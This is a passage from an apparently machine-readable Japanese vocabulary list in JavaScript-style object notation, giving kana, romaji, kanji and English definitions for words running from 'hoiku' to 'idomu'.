smile\"\n\t},\n\n\t{\n\t\t'kana':'ほいく',\n\t\t'romaji':'hoiku',\n\t\t'kanji':'保育',\n\t\t'definition':\"nursing;nurturing;rearing;lactation;suckling\"\n\t},\n\n\t{\n\t\t'kana':'ほじょ',\n\t\t'romaji':'hojyo',\n\t\t'kanji':'補助',\n\t\t'definition':\"assistance;support;aid;auxiliary\"\n\t},\n\n\t{\n\t\t'kana':'ほじゅう',\n\t\t'romaji':'hojyuu',\n\t\t'kanji':'補充',\n\t\t'definition':\"supplementation;supplement;replenishment;replenishing\"\n\t},\n\n\t{\n\t\t'kana':'ほか',\n\t\t'romaji':'hoka',\n\t\t'kanji':'他',\n\t\t'definition':\"other\"\n\t},\n\n\t{\n\t\t'kana':'ほか',\n\t\t'romaji':'hoka',\n\t\t'kanji':'他',\n\t\t'definition':\"other\"\n\t},\n\n\t{\n\t\t'kana':'ほかく',\n\t\t'romaji':'hokaku',\n\t\t'kanji':'捕獲',\n\t\t'definition':\"capture;seizure\"\n\t},\n\n\t{\n\t\t'kana':'ほかん',\n\t\t'romaji':'hokan',\n\t\t'kanji':'保管',\n\t\t'definition':\"charge;custody;safekeeping;deposit;storage\"\n\t},\n\n\t{\n\t\t'kana':'ほけん',\n\t\t'romaji':'hoken',\n\t\t'kanji':'保健',\n\t\t'definition':\"health preservation;hygiene;sanitation\"\n\t},\n\n\t{\n\t\t'kana':'ほけん',\n\t\t'romaji':'hoken',\n\t\t'kanji':'保険',\n\t\t'definition':\"insurance;guarantee\"\n\t},\n\n\t{\n\t\t'kana':'ほこり',\n\t\t'romaji':'hokori',\n\t\t'kanji':'埃',\n\t\t'definition':\"dust\"\n\t},\n\n\t{\n\t\t'kana':'ほこり',\n\t\t'romaji':'hokori',\n\t\t'kanji':'誇り',\n\t\t'definition':\"pride\"\n\t},\n\n\t{\n\t\t'kana':'ほころびる',\n\t\t'romaji':'hokorobiru',\n\t\t'kanji':'綻びる',\n\t\t'definition':\"to come apart at the seams;to begin to open;to smile broadly\"\n\t},\n\n\t{\n\t\t'kana':'ほこる',\n\t\t'romaji':'hokoru',\n\t\t'kanji':'誇る',\n\t\t'definition':\"to boast of;to be proud of\"\n\t},\n\n\t{\n\t\t'kana':'ほっきょく',\n\t\t'romaji':'hokyoku',\n\t\t'kanji':'北極',\n\t\t'definition':\"North Pole\"\n\t},\n\n\t{\n\t\t'kana':'ほきょう',\n\t\t'romaji':'hokyou',\n\t\t'kanji':'補強',\n\t\t'definition':\"compensation;reinforcement\"\n\t},\n\n\t{\n\t\t'kana':'ほきゅう',\n\t\t'romaji':'hokyuu',\n\t\t'kanji':'補給',\n\t\t'definition':\"supply;supplying;replenishment\"\n\t},\n\n\t{\n\t\t'kana':'ほめる',\n\t\t'romaji':'homeru',\n\t\t'kanji':'褒める',\n\t\t'definition':\"to praise;to admire;to speak well\"\n\t},\n\n\t{\n\t\t'kana':'ホーム',\n\t\t'romaji':'ho-mu',\n\t\t'kanji':'',\n\t\t'definition':\"1. platform; 2. home\"\n\t},\n\n\t{\n\t\t'kana':'ほん',\n\t\t'romaji':'hon',\n\t\t'kanji':'本',\n\t\t'definition':\"book;main;head;this;our;counter for long cylindrical things\"\n\t},\n\n\t{\n\t\t'kana':'ほん',\n\t\t'romaji':'hon',\n\t\t'kanji':'本',\n\t\t'definition':\"book;main;head;this;our;counter for long cylindrical things\"\n\t},\n\n\t{\n\t\t'kana':'ほん',\n\t\t'romaji':'hon',\n\t\t'kanji':'本',\n\t\t'definition':\"book;main;head;this;our;counter for long cylindrical things\"\n\t},\n\n\t{\n\t\t'kana':'ほんば',\n\t\t'romaji':'honba',\n\t\t'kanji':'本場',\n\t\t'definition':\"home;habitat;center;best place;genuine\"\n\t},\n\n\t{\n\t\t'kana':'ほんぶ',\n\t\t'romaji':'honbu',\n\t\t'kanji':'本部',\n\t\t'definition':\"headquarters\"\n\t},\n\n\t{\n\t\t'kana':'ほんぶん',\n\t\t'romaji':'honbun',\n\t\t'kanji':'本文',\n\t\t'definition':\"text (of document);body (of letter)\"\n\t},\n\n\t{\n\t\t'kana':'ほんごく',\n\t\t'romaji':'hongoku',\n\t\t'kanji':'本国',\n\t\t'definition':\"one's own country\"\n\t},\n\n\t{\n\t\t'kana':'ほんかく',\n\t\t'romaji':'honkaku',\n\t\t'kanji':'本格',\n\t\t'definition':\"propriety;fundamental rules\"\n\t},\n\n\t{\n\t\t'kana':'ほんかん',\n\t\t'romaji':'honkan',\n\t\t'kanji':'本館',\n\t\t'definition':\"main building\"\n\t},\n\n\t{\n\t\t'kana':'ほんき',\n\t\t'romaji':'honki',\n\t\t'kanji':'本気',\n\t\t'definition':\"seriousness;truth;sanctity\"\n\t},\n\n\t{\n\t\t'kana':'ほんもの',\n\t\t'romaji':'honmono',\n\t\t'kanji':'本物',\n\t\t'definition':\"genuine article\"\n\t},\n\n\t{\n\t\t'kana':'ほんみょう',\n\t\t'romaji':'honmyou',\n\t\t'kanji':'本名',\n\t\t'definition':\"real name\"\n\t},\n\n\t{\n\t\t'kana':'ほんね',\n\t\t'romaji':'honne',\n\t\t'kanji':'本音',\n\t\t'definition':\"real intention;motive\"\n\t},\n\n\t{\n\t\t'kana':'ほんにん',\n\t\t'romaji':'honnin',\n\t\t'kanji':'本人',\n\t\t'definition':\"the person himself\"\n\t},\n\n\t{\n\t\t'kana':'ほんの',\n\t\t'romaji':'honno',\n\t\t'kanji':'本の',\n\t\t'definition':\"mere;only;just\"\n\t},\n\n\t{\n\t\t'kana':'ほんのう',\n\t\t'romaji':'honnou',\n\t\t'kanji':'本能',\n\t\t'definition':\"instinct\"\n\t},\n\n\t{\n\t\t'kana':'ほのお',\n\t\t'romaji':'honoo',\n\t\t'kanji':'炎',\n\t\t'definition':\"flame;blaze\"\n\t},\n\n\t{\n\t\t'kana':'ほんらい',\n\t\t'romaji':'honrai',\n\t\t'kanji':'本来',\n\t\t'definition':\"originally\"\n\t},\n\n\t{\n\t\t'kana':'ほんしつ',\n\t\t'romaji':'honshitsu',\n\t\t'kanji':'本質',\n\t\t'definition':\"essence;true nature;reality\"\n\t},\n\n\t{\n\t\t'kana':'ほんたい',\n\t\t'romaji':'hontai',\n\t\t'kanji':'本体',\n\t\t'definition':\"substance;real form;object of worship\"\n\t},\n\n\t{\n\t\t'kana':'ほんとう',\n\t\t'romaji':'hontou',\n\t\t'kanji':'本当',\n\t\t'definition':\"truth;reality\"\n\t},\n\n\t{\n\t\t'kana':'ほんやく',\n\t\t'romaji':'honyaku',\n\t\t'kanji':'翻訳',\n\t\t'definition':\"translation;de-encryption;deciphering\"\n\t},\n\n\t{\n\t\t'kana':'ほお',\n\t\t'romaji':'hoo',\n\t\t'kanji':'頬',\n\t\t'definition':\"cheek (of face)\"\n\t},\n\n\t{\n\t\t'kana':'ほおん',\n\t\t'romaji':'hoon',\n\t\t'kanji':'保温',\n\t\t'definition':\"retaining warmth;keeping heat in;heat insulation\"\n\t},\n\n\t{\n\t\t'kana':'ほっぺた',\n\t\t'romaji':'hoppeta',\n\t\t'kanji':'頬っぺた',\n\t\t'definition':\"cheek\"\n\t},\n\n\t{\n\t\t'kana':'ほり',\n\t\t'romaji':'hori',\n\t\t'kanji':'捕吏',\n\t\t'definition':\"constable\"\n\t},\n\n\t{\n\t\t'kana':'ほろびる',\n\t\t'romaji':'horobiru',\n\t\t'kanji':'滅びる',\n\t\t'definition':\"to be ruined;to go under;to perish;to be destroyed\"\n\t},\n\n\t{\n\t\t'kana':'ほろぼす',\n\t\t'romaji':'horobosu',\n\t\t'kanji':'滅ぼす',\n\t\t'definition':\"to destroy;to overthrow;to wreck;to ruin\"\n\t},\n\n\t{\n\t\t'kana':'ほる',\n\t\t'romaji':'horu',\n\t\t'kanji':'彫る',\n\t\t'definition':\"to carve;to engrave;to sculpture;to chisel\"\n\t},\n\n\t{\n\t\t'kana':'ほる',\n\t\t'romaji':'horu',\n\t\t'kanji':'掘る',\n\t\t'definition':\"to dig;to excavate\"\n\t},\n\n\t{\n\t\t'kana':'ホール',\n\t\t'romaji':'ho-ru',\n\t\t'kanji':'',\n\t\t'definition':\"hall;hole\"\n\t},\n\n\t{\n\t\t'kana':'ほりょ',\n\t\t'romaji':'horyo',\n\t\t'kanji':'捕虜',\n\t\t'definition':\"prisoner (of war)\"\n\t},\n\n\t{\n\t\t'kana':'ほっさ',\n\t\t'romaji':'hosa',\n\t\t'kanji':'発作',\n\t\t'definition':\"fit;spasm\"\n\t},\n\n\t{\n\t\t'kana':'ほし',\n\t\t'romaji':'hoshi',\n\t\t'kanji':'乾',\n\t\t'definition':\"dried;cured\"\n\t},\n\n\t{\n\t\t'kana':'ほし',\n\t\t'romaji':'hoshi',\n\t\t'kanji':'星',\n\t\t'definition':\"star\"\n\t},\n\n\t{\n\t\t'kana':'ほしい',\n\t\t'romaji':'hoshii',\n\t\t'kanji':'欲しい',\n\t\t'definition':\"wanted;wished for;in need of;desired\"\n\t},\n\n\t{\n\t\t'kana':'ほしもの',\n\t\t'romaji':'hoshimono',\n\t\t'kanji':'干し物',\n\t\t'definition':\"dried washing (clothes)\"\n\t},\n\n\t{\n\t\t'kana':'ほしょう',\n\t\t'romaji':'hoshou',\n\t\t'kanji':'保証',\n\t\t'definition':\"guarantee;security;assurance;pledge;warranty\"\n\t},\n\n\t{\n\t\t'kana':'ほしょう',\n\t\t'romaji':'hoshou',\n\t\t'kanji':'補償',\n\t\t'definition':\"compensation;reparation\"\n\t},\n\n\t{\n\t\t'kana':'ほしょう',\n\t\t'romaji':'hoshou',\n\t\t'kanji':'保障',\n\t\t'definition':\"guarantee;security;assurance;pledge;warranty\"\n\t},\n\n\t{\n\t\t'kana':'ほしゅ',\n\t\t'romaji':'hoshu',\n\t\t'kanji':'保守',\n\t\t'definition':\"conservative;maintaining\"\n\t},\n\n\t{\n\t\t'kana':'ほそい',\n\t\t'romaji':'hosoi',\n\t\t'kanji':'細い',\n\t\t'definition':\"thin;slender;fine\"\n\t},\n\n\t{\n\t\t'kana':'ほそく',\n\t\t'romaji':'hosoku',\n\t\t'kanji':'補足',\n\t\t'definition':\"supplement;complement\"\n\t},\n\n\t{\n\t\t'kana':'��そう',\n\t\t'romaji':'hosou',\n\t\t'kanji':'舗装',\n\t\t'definition':\"pavement;road surface\"\n\t},\n\n\t{\n\t\t'kana':'ほす',\n\t\t'romaji':'hosu',\n\t\t'kanji':'干す',\n\t\t'definition':\"to air;to dry;to desiccate;to drain (off);to drink up\"\n\t},\n\n\t{\n\t\t'kana':'ホース',\n\t\t'romaji':'ho-su',\n\t\t'kanji':'',\n\t\t'definition':\"hose\"\n\t},\n\n\t{\n\t\t'kana':'ホテル',\n\t\t'romaji':'hoteru',\n\t\t'kanji':'',\n\t\t'definition':\"hotel\"\n\t},\n\n\t{\n\t\t'kana':'ほっと',\n\t\t'romaji':'hoto',\n\t\t'kanji':'',\n\t\t'definition':\"feel relieved\"\n\t},\n\n\t{\n\t\t'kana':'ほとんど',\n\t\t'romaji':'hotondo',\n\t\t'kanji':'殆ど',\n\t\t'definition':\"mostly;almost\"\n\t},\n\n\t{\n\t\t'kana':'ほとり',\n\t\t'romaji':'hotori',\n\t\t'kanji':'辺り',\n\t\t'definition':\"(in the) neighbourhood;vicinity;nearby\"\n\t},\n\n\t{\n\t\t'kana':'ほう',\n\t\t'romaji':'hou',\n\t\t'kanji':'倣',\n\t\t'definition':\"imitate;follow;emulate\"\n\t},\n\n\t{\n\t\t'kana':'ほう',\n\t\t'romaji':'hou',\n\t\t'kanji':'法',\n\t\t'definition':\"Act (law: the X Act)\"\n\t},\n\n\t{\n\t\t'kana':'ほうあん',\n\t\t'romaji':'houan',\n\t\t'kanji':'法案',\n\t\t'definition':\"bill (law)\"\n\t},\n\n\t{\n\t\t'kana':'ほうび',\n\t\t'romaji':'houbi',\n\t\t'kanji':'褒美',\n\t\t'definition':\"reward;prize\"\n\t},\n\n\t{\n\t\t'kana':'ほうち',\n\t\t'romaji':'houchi',\n\t\t'kanji':'放置',\n\t\t'definition':\"leave as is;leave to chance;leave alone;neglect\"\n\t},\n\n\t{\n\t\t'kana':'ほうちょう',\n\t\t'romaji':'houchou',\n\t\t'kanji':'庖丁',\n\t\t'definition':\"kitchen knife;carving knife\"\n\t},\n\n\t{\n\t\t'kana':'ほうどう',\n\t\t'romaji':'houdou',\n\t\t'kanji':'報道',\n\t\t'definition':\"information;report\"\n\t},\n\n\t{\n\t\t'kana':'ほうふ',\n\t\t'romaji':'houfu',\n\t\t'kanji':'豊富',\n\t\t'definition':\"abundance;wealth;plenty;bounty\"\n\t},\n\n\t{\n\t\t'kana':'ほうがく',\n\t\t'romaji':'hougaku',\n\t\t'kanji':'方角',\n\t\t'definition':\"direction;way;compass point\"\n\t},\n\n\t{\n\t\t'kana':'ほうがく',\n\t\t'romaji':'hougaku',\n\t\t'kanji':'法学',\n\t\t'definition':\"law;jurisprudence\"\n\t},\n\n\t{\n\t\t'kana':'ほうげん',\n\t\t'romaji':'hougen',\n\t\t'kanji':'方言',\n\t\t'definition':\"dialect\"\n\t},\n\n\t{\n\t\t'kana':'ほうほう',\n\t\t'romaji':'houhou',\n\t\t'kanji':'方法',\n\t\t'definition':\"method;manner;way;means;technique\"\n\t},\n\n\t{\n\t\t'kana':'ほうじる',\n\t\t'romaji':'houjiru',\n\t\t'kanji':'報じる',\n\t\t'definition':\"to inform;to report\"\n\t},\n\n\t{\n\t\t'kana':'ほうかい',\n\t\t'romaji':'houkai',\n\t\t'kanji':'崩壊',\n\t\t'definition':\"collapse;decay (physics);crumbling;breaking down;caving in\"\n\t},\n\n\t{\n\t\t'kana':'ほうけん',\n\t\t'romaji':'houken',\n\t\t'kanji':'封建',\n\t\t'definition':\"feudalistic\"\n\t},\n\n\t{\n\t\t'kana':'ほうき',\n\t\t'romaji':'houki',\n\t\t'kanji':'宝器',\n\t\t'definition':\"treasured article or vessel;outstanding individual\"\n\t},\n\n\t{\n\t\t'kana':'ほうき',\n\t\t'romaji':'houki',\n\t\t'kanji':'放棄',\n\t\t'definition':\"abandonment;renunciation;abdication (responsibility right)\"\n\t},\n\n\t{\n\t\t'kana':'ほうこく',\n\t\t'romaji':'houkoku',\n\t\t'kanji':'報告',\n\t\t'definition':\"report;information\"\n\t},\n\n\t{\n\t\t'kana':'ほうこう',\n\t\t'romaji':'houkou',\n\t\t'kanji':'方向',\n\t\t'definition':\"direction;course;way\"\n\t},\n\n\t{\n\t\t'kana':'ほうめん',\n\t\t'romaji':'houmen',\n\t\t'kanji':'方面',\n\t\t'definition':\"direction;district;field (e.g. of study)\"\n\t},\n\n\t{\n\t\t'kana':'ほうもん',\n\t\t'romaji':'houmon',\n\t\t'kanji':'訪問',\n\t\t'definition':\"call;visit\"\n\t},\n\n\t{\n\t\t'kana':'ほうむる',\n\t\t'romaji':'houmuru',\n\t\t'kanji':'葬る',\n\t\t'definition':\"to bury;to inter;to entomb;to consign to oblivion;to shelve\"\n\t},\n\n\t{\n\t\t'kana':'ほうりだす',\n\t\t'romaji':'houridasu',\n\t\t'kanji':'放り出す',\n\t\t'definition':\"to throw out;to fire;to expel;to give up;to abandon;to neglect\"\n\t},\n\n\t{\n\t\t'kana':'ほうりこむ',\n\t\t'romaji':'hourikomu',\n\t\t'kanji':'放り込む',\n\t\t'definition':\"to throw into\"\n\t},\n\n\t{\n\t\t'kana':'ほうりつ',\n\t\t'romaji':'houritsu',\n\t\t'kanji':'法律',\n\t\t'definition':\"law\"\n\t},\n\n\t{\n\t\t'kana':'ほうる',\n\t\t'romaji':'houru',\n\t\t'kanji':'放る',\n\t\t'definition':\"to let go\"\n\t},\n\n\t{\n\t\t'kana':'ほうさく',\n\t\t'romaji':'housaku',\n\t\t'kanji':'方策',\n\t\t'definition':\"plan;policy\"\n\t},\n\n\t{\n\t\t'kana':'ほうさく',\n\t\t'romaji':'housaku',\n\t\t'kanji':'豊作',\n\t\t'definition':\"abundant harvest;bumper crop\"\n\t},\n\n\t{\n\t\t'kana':'ほうせき',\n\t\t'romaji':'houseki',\n\t\t'kanji':'宝石',\n\t\t'definition':\"gem;jewel\"\n\t},\n\n\t{\n\t\t'kana':'ほうしゃ',\n\t\t'romaji':'housha',\n\t\t'kanji':'放射',\n\t\t'definition':\"radiation;emission\"\n\t},\n\n\t{\n\t\t'kana':'ほうしゃのう',\n\t\t'romaji':'houshanou',\n\t\t'kanji':'放射能',\n\t\t'definition':\"radioactivity\"\n\t},\n\n\t{\n\t\t'kana':'ほうし',\n\t\t'romaji':'houshi',\n\t\t'kanji':'奉仕',\n\t\t'definition':\"attendance;service\"\n\t},\n\n\t{\n\t\t'kana':'ほうしき',\n\t\t'romaji':'houshiki',\n\t\t'kanji':'方式',\n\t\t'definition':\"form;method;system\"\n\t},\n\n\t{\n\t\t'kana':'ほうしん',\n\t\t'romaji':'houshin',\n\t\t'kanji':'方針',\n\t\t'definition':\"objective;plan;policy\"\n\t},\n\n\t{\n\t\t'kana':'ほうしゅつ',\n\t\t'romaji':'houshutsu',\n\t\t'kanji':'放出',\n\t\t'definition':\"release;emit\"\n\t},\n\n\t{\n\t\t'kana':'ほうしゅう',\n\t\t'romaji':'houshuu',\n\t\t'kanji':'報酬',\n\t\t'definition':\"remuneration;recompense;reward;toll\"\n\t},\n\n\t{\n\t\t'kana':'ほうそく',\n\t\t'romaji':'housoku',\n\t\t'kanji':'法則',\n\t\t'definition':\"law;rule\"\n\t},\n\n\t{\n\t\t'kana':'ほうそう',\n\t\t'romaji':'housou',\n\t\t'kanji':'包装',\n\t\t'definition':\"packing;wrapping\"\n\t},\n\n\t{\n\t\t'kana':'ほうそう',\n\t\t'romaji':'housou',\n\t\t'kanji':'放送',\n\t\t'definition':\"broadcast;broadcasting\"\n\t},\n\n\t{\n\t\t'kana':'ほうたい',\n\t\t'romaji':'houtai',\n\t\t'kanji':'包帯',\n\t\t'definition':\"bandage;dressing\"\n\t},\n\n\t{\n\t\t'kana':'ほうてい',\n\t\t'romaji':'houtei',\n\t\t'kanji':'法廷',\n\t\t'definition':\"courtroom\"\n\t},\n\n\t{\n\t\t'kana':'ほうていしき',\n\t\t'romaji':'houteishiki',\n\t\t'kanji':'方程式',\n\t\t'definition':\"equation\"\n\t},\n\n\t{\n\t\t'kana':'ほうわ',\n\t\t'romaji':'houwa',\n\t\t'kanji':'飽和',\n\t\t'definition':\"saturation\"\n\t},\n\n\t{\n\t\t'kana':'ほうずる',\n\t\t'romaji':'houzuru',\n\t\t'kanji':'報ずる',\n\t\t'definition':\"to inform;to report\"\n\t},\n\n\t{\n\t\t'kana':'ほよう',\n\t\t'romaji':'hoyou',\n\t\t'kanji':'保養',\n\t\t'definition':\"health preservation;recuperation;recreation\"\n\t},\n\n\t{\n\t\t'kana':'ほぞん',\n\t\t'romaji':'hozon',\n\t\t'kanji':'保存',\n\t\t'definition':\"preservation;conservation;storage;maintenance\"\n\t},\n\n\t{\n\t\t'kana':'フライパン',\n\t\t'romaji':'huraipan',\n\t\t'kanji':'',\n\t\t'definition':\"fry pan;frying pan\"\n\t},\n\n\t{\n\t\t'kana':'フリー',\n\t\t'romaji':'huri-',\n\t\t'kanji':'',\n\t\t'definition':\"free\"\n\t},\n\n\t{\n\t\t'kana':'フロント',\n\t\t'romaji':'huronto',\n\t\t'kanji':'',\n\t\t'definition':\"front\"\n\t},\n\n\t{\n\t\t'kana':'ひゃっかじてん',\n\t\t'romaji':'hyakkajiten',\n\t\t'kanji':'百科辞典',\n\t\t'definition':\"encyclopedia\"\n\t},\n\n\t{\n\t\t'kana':'ひゃっかじてん',\n\t\t'romaji':'hyakkajiten',\n\t\t'kanji':'百科事典',\n\t\t'definition':\"encyclopedia\"\n\t},\n\n\t{\n\t\t'kana':'ひゃく',\n\t\t'romaji':'hyaku',\n\t\t'kanji':'百',\n\t\t'definition':\"(num) 100;hundred\"\n\t},\n\n\t{\n\t\t'kana':'ひょっと',\n\t\t'romaji':'hyoto',\n\t\t'kanji':'',\n\t\t'definition':\"possibly;accidentally\"\n\t},\n\n\t{\n\t\t'kana':'ひょう',\n\t\t'romaji':'hyou',\n\t\t'kanji':'票',\n\t\t'definition':\"label;ballot;ticket;sign\"\n\t},\n\n\t{\n\t\t'kana':'ひょうばん',\n\t\t'romaji':'hyouban',\n\t\t'kanji':'評判',\n\t\t'definition':\"fame;reputation;popularity;arrant\"\n\t},\n\n\t{\n\t\t'kana':'ひょうげん',\n\t\t'romaji':'hyougen',\n\t\t'kanji':'表現',\n\t\t'definition':\"expression;presentation;representation (math)\"\n\t},\n\n\t{\n\t\t'kana':'ひょうご',\n\t\t'romaji':'hyougo',\n\t\t'kanji':'標語',\n\t\t'definition':\"motto;slogan;catchword\"\n\t},\n\n\t{\n\t\t'kana':'ひょうほん',\n\t\t'romaji':'hyouhon',\n\t\t'kanji':'標本',\n\t\t'definition':\"example;specimen\"\n\t},\n\n\t{\n\t\t'kana':'ひょうじょう',\n\t\t'romaji':'hyoujyou',\n\t\t'kanji':'表情',\n\t\t'definition':\"facial expression\"\n\t},\n\n\t{\n\t\t'kana':'ひょうじゅん',\n\t\t'romaji':'hyoujyun',\n\t\t'kanji':'標準',\n\t\t'definition':\"standard;level\"\n\t},\n\n\t{\n\t\t'kana':'ひょうか',\n\t\t'romaji':'hyouka',\n\t\t'kanji':'評価',\n\t\t'definition':\"valuation;estimation;assessment;evaluation\"\n\t},\n\n\t{\n\t\t'kana':'ひょうめん',\n\t\t'romaji':'hyoumen',\n\t\t'kanji':'表面',\n\t\t'definition':\"surface;outside;face;appearance\"\n\t},\n\n\t{\n\t\t'kana':'ひょうろん',\n\t\t'romaji':'hyouron',\n\t\t'kanji':'評論',\n\t\t'definition':\"criticism;critique\"\n\t},\n\n\t{\n\t\t'kana':'ひょうし',\n\t\t'romaji':'hyoushi',\n\t\t'kanji':'表紙',\n\t\t'definition':\"front cover;binding\"\n\t},\n\n\t{\n\t\t'kana':'ひょうしき',\n\t\t'romaji':'hyoushiki',\n\t\t'kanji':'標識',\n\t\t'definition':\"sign;mark\"\n\t},\n\n\t{\n\t\t'kana':'い',\n\t\t'romaji':'i',\n\t\t'kanji':'胃',\n\t\t'definition':\"stomach\"\n\t},\n\n\t{\n\t\t'kana':'い',\n\t\t'romaji':'i',\n\t\t'kanji':'依',\n\t\t'definition':\"depending on\"\n\t},\n\n\t{\n\t\t'kana':'い',\n\t\t'romaji':'i',\n\t\t'kanji':'依',\n\t\t'definition':\"depending on\"\n\t},\n\n\t{\n\t\t'kana':'いばる',\n\t\t'romaji':'ibaru',\n\t\t'kanji':'威張る',\n\t\t'definition':\"to be proud;to swagger\"\n\t},\n\n\t{\n\t\t'kana':'いびき',\n\t\t'romaji':'ibiki',\n\t\t'kanji':'鼾',\n\t\t'definition':\"snoring\"\n\t},\n\n\t{\n\t\t'kana':'いっち',\n\t\t'romaji':'ichi',\n\t\t'kanji':'一致',\n\t\t'definition':\"coincidence;agreement;union;match;conformity;consistency;co-operation\"\n\t},\n\n\t{\n\t\t'kana':'いち',\n\t\t'romaji':'ichi',\n\t\t'kanji':'一',\n\t\t'definition':\"(num) one\"\n\t},\n\n\t{\n\t\t'kana':'いち',\n\t\t'romaji':'ichi',\n\t\t'kanji':'市',\n\t\t'definition':\"market;fair\"\n\t},\n\n\t{\n\t\t'kana':'いち',\n\t\t'romaji':'ichi',\n\t\t'kanji':'位置',\n\t\t'definition':\"place;situation;position;location\"\n\t},\n\n\t{\n\t\t'kana':'いち',\n\t\t'romaji':'ichi',\n\t\t'kanji':'位地',\n\t\t'definition':\"place;situation;position;location\"\n\t},\n\n\t{\n\t\t'kana':'いち',\n\t\t'romaji':'ichi',\n\t\t'kanji':'一',\n\t\t'definition':\"(num) one\"\n\t},\n\n\t{\n\t\t'kana':'いち',\n\t\t'romaji':'ichi',\n\t\t'kanji':'市',\n\t\t'definition':\"market;fair\"\n\t},\n\n\t{\n\t\t'kana':'いちば',\n\t\t'romaji':'ichiba',\n\t\t'kanji':'市場',\n\t\t'definition':\"(town) market;marketplace;market\"\n\t},\n\n\t{\n\t\t'kana':'いちば',\n\t\t'romaji':'ichiba',\n\t\t'kanji':'市場',\n\t\t'definition':\"(town) market;marketplace;market\"\n\t},\n\n\t{\n\t\t'kana':'いちばん',\n\t\t'romaji':'ichiban',\n\t\t'kanji':'一番',\n\t\t'definition':\"best;first;number one;a game;a round;a bout;a fall;an event (in a meet)\"\n\t},\n\n\t{\n\t\t'kana':'いちべつ',\n\t\t'romaji':'ichibetsu',\n\t\t'kanji':'一別',\n\t\t'definition':\"parting\"\n\t},\n\n\t{\n\t\t'kana':'いちぶ',\n\t\t'romaji':'ichibu',\n\t\t'kanji':'一部',\n\t\t'definition':\"1. one copy e.g. of a document; 2. a part;partly;some\"\n\t},\n\n\t{\n\t\t'kana':'いちぶぶん',\n\t\t'romaji':'ichibubun',\n\t\t'kanji':'一部分',\n\t\t'definition':\"a part\"\n\t},\n\n\t{\n\t\t'kana':'いちだんと',\n\t\t'romaji':'ichidanto',\n\t\t'kanji':'一段と',\n\t\t'definition':\"greater;more;further;still more\"\n\t},\n\n\t{\n\t\t'kana':'いちど',\n\t\t'romaji':'ichido',\n\t\t'kanji':'一度',\n\t\t'definition':\"once;one time;on one occasion\"\n\t},\n\n\t{\n\t\t'kana':'いちどに',\n\t\t'romaji':'ichidoni',\n\t\t'kanji':'一度に',\n\t\t'definition':\"all at once\"\n\t},\n\n\t{\n\t\t'kana':'いちどう',\n\t\t'romaji':'ichidou',\n\t\t'kanji':'一同',\n\t\t'definition':\"all present;all concerned;all of us\"\n\t},\n\n\t{\n\t\t'kana':'いちがいに',\n\t\t'romaji':'ichigaini',\n\t\t'kanji':'一概に',\n\t\t'definition':\"unconditionally;as a rule\"\n\t},\n\n\t{\n\t\t'kana':'いちげん',\n\t\t'romaji':'ichigen',\n\t\t'kanji':'一言',\n\t\t'definition':\"single word\"\n\t},\n\n\t{\n\t\t'kana':'いちげん',\n\t\t'romaji':'ichigen',\n\t\t'kanji':'一見',\n\t\t'definition':\"unfamiliar;never before met\"\n\t},\n\n\t{\n\t\t'kana':'いちいち',\n\t\t'romaji':'ichiichi',\n\t\t'kanji':'一々',\n\t\t'definition':\"one by one;separately\"\n\t},\n\n\t{\n\t\t'kana':'いちじ',\n\t\t'romaji':'ichiji',\n\t\t'kanji':'一時',\n\t\t'definition':\"one hour;short time;once;a time;temporarily;at one time;twelfth part of a day\"\n\t},\n\n\t{\n\t\t'kana':'いちじるしい',\n\t\t'romaji':'ichijirushii',\n\t\t'kanji':'著しい',\n\t\t'definition':\"remarkable;considerable\"\n\t},\n\n\t{\n\t\t'kana':'いちじつ',\n\t\t'romaji':'ichijitsu',\n\t\t'kanji':'一日',\n\t\t'definition':\"1. one day; 2. first of month\"\n\t},\n\n\t{\n\t\t'kana':'いちじょう',\n\t\t'romaji':'ichijyou',\n\t\t'kanji':'一定',\n\t\t'definition':\"fixed;settled;definite;uniform;regularized;defined;standardized;certain;prescribed\"\n\t},\n\n\t{\n\t\t'kana':'いちめん',\n\t\t'romaji':'ichimen',\n\t\t'kanji':'一面',\n\t\t'definition':\"one side;one phase;front page;the other hand;the whole surface\"\n\t},\n\n\t{\n\t\t'kana':'いちもく',\n\t\t'romaji':'ichimoku',\n\t\t'kanji':'一目',\n\t\t'definition':\"a glance;a look;a glimpse\"\n\t},\n\n\t{\n\t\t'kana':'いちにん',\n\t\t'romaji':'ichinin',\n\t\t'kanji':'一人',\n\t\t'definition':\"one person\"\n\t},\n\n\t{\n\t\t'kana':'いちおう',\n\t\t'romaji':'ichiou',\n\t\t'kanji':'一応',\n\t\t'definition':\"once;tentatively;in outline;for the time being\"\n\t},\n\n\t{\n\t\t'kana':'いちれん',\n\t\t'romaji':'ichiren',\n\t\t'kanji':'一連',\n\t\t'definition':\"a series;a chain;a ream (of paper)\"\n\t},\n\n\t{\n\t\t'kana':'いちりつ',\n\t\t'romaji':'ichiritsu',\n\t\t'kanji':'一律',\n\t\t'definition':\"evenness;uniformity;monotony;equality\"\n\t},\n\n\t{\n\t\t'kana':'いちりゅう',\n\t\t'romaji':'ichiryuu',\n\t\t'kanji':'一流',\n\t\t'definition':\"first class;top grade;school (of art);foremost;top-notch;unique\"\n\t},\n\n\t{\n\t\t'kana':'いちよう',\n\t\t'romaji':'ichiyou',\n\t\t'kanji':'一様',\n\t\t'definition':\"uniformity;evenness;similarity;equality;impartiality\"\n\t},\n\n\t{\n\t\t'kana':'いだい',\n\t\t'romaji':'idai',\n\t\t'kanji':'偉大',\n\t\t'definition':\"greatness\"\n\t},\n\n\t{\n\t\t'kana':'いだく',\n\t\t'romaji':'idaku',\n\t\t'kanji':'抱く',\n\t\t'definition':\"to embrace;to hug;to harbour;to entertain;`to sleep with'\"\n\t},\n\n\t{\n\t\t'kana':'いだく',\n\t\t'romaji':'idaku',\n\t\t'kanji':'抱く',\n\t\t'definition':\"to embrace;to hug;to harbour;to entertain;`to sleep with'\"\n\t},\n\n\t{\n\t\t'kana':'いど',\n\t\t'romaji':'ido',\n\t\t'kanji':'緯度',\n\t\t'definition':\"latitude (nav.)\"\n\t},\n\n\t{\n\t\t'kana':'いど',\n\t\t'romaji':'ido',\n\t\t'kanji':'井戸',\n\t\t'definition':\"water well\"\n\t},\n\n\t{\n\t\t'kana':'いどむ',\n\t\t'romaji':'idomu',\n\t\t'kanji':'挑む',\n\t\t'definition':\"to challenge;to contend for;to make love 